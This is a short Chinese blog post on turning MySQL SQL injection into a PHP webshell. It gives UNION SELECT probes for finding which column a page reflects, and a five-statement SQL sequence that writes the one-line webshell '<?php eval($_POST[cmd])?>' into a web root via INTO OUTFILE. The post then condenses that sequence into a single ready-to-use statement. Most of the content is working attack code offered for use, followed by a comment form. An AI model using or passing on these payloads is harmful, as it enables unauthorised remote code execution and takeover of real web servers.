MySQL一句话导出Shell
Drop TABLE IF EXISTS temp; //如果存在temp表就删掉         
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段         
Insert INTO temp (cmd) VALUES(''); //把一句话木马插入到temp表         
Select cmd from temp into out file 'D:/wwwroot/eval.php'; //查询temp表中的一句话并把结果导入eval.php       
Drop TABLE IF EXISTS temp; //删除temp

这几句SQL很简单,不过想想我们在测试PHP的SQL漏洞的时候经常会用到以下语句:

/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*

然后返回的页面中可能会出现1~12之间的数字。(这里加入数字3显示出来了)

如果我们把上面这句改成

/**/UNION SELECT 1,2,'zerosoul',4,5,6,7,8,9,10,11,12/*

则返回页面上次显示3的地方就会显示zerosoul。

也就是说如果我们的select语句后面不带from table语句的话,我们查询的数字或字符就会直接返回到查询结果里。

既然这样,我们为何还要那么麻烦去建一个表,先导入数据,再导出这样折腾呢。

有了这个思路,上面那一大段导出一句话的SQL代码可以直接简化到一句:

Select '<?php eval($_POST[cmd])?>' into outfile 'D:/wwwroot/eval.php';

这样做不但简单明了,而且避免了误删别人的数据。如图:

本文链接:https://www.moyan.net.cn/wooyun/283.html
本文标题:MySQL一句话导出Shell
本文声明:如无特殊说明,您可以自由转载本文,但需标注转载自莫言斋(https://www.moyan.net.cn/)。本站部分文章信息来源于互联网及公开渠道,如侵犯到您的权益,请及时联系我们(94372#qq.com)处理!
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇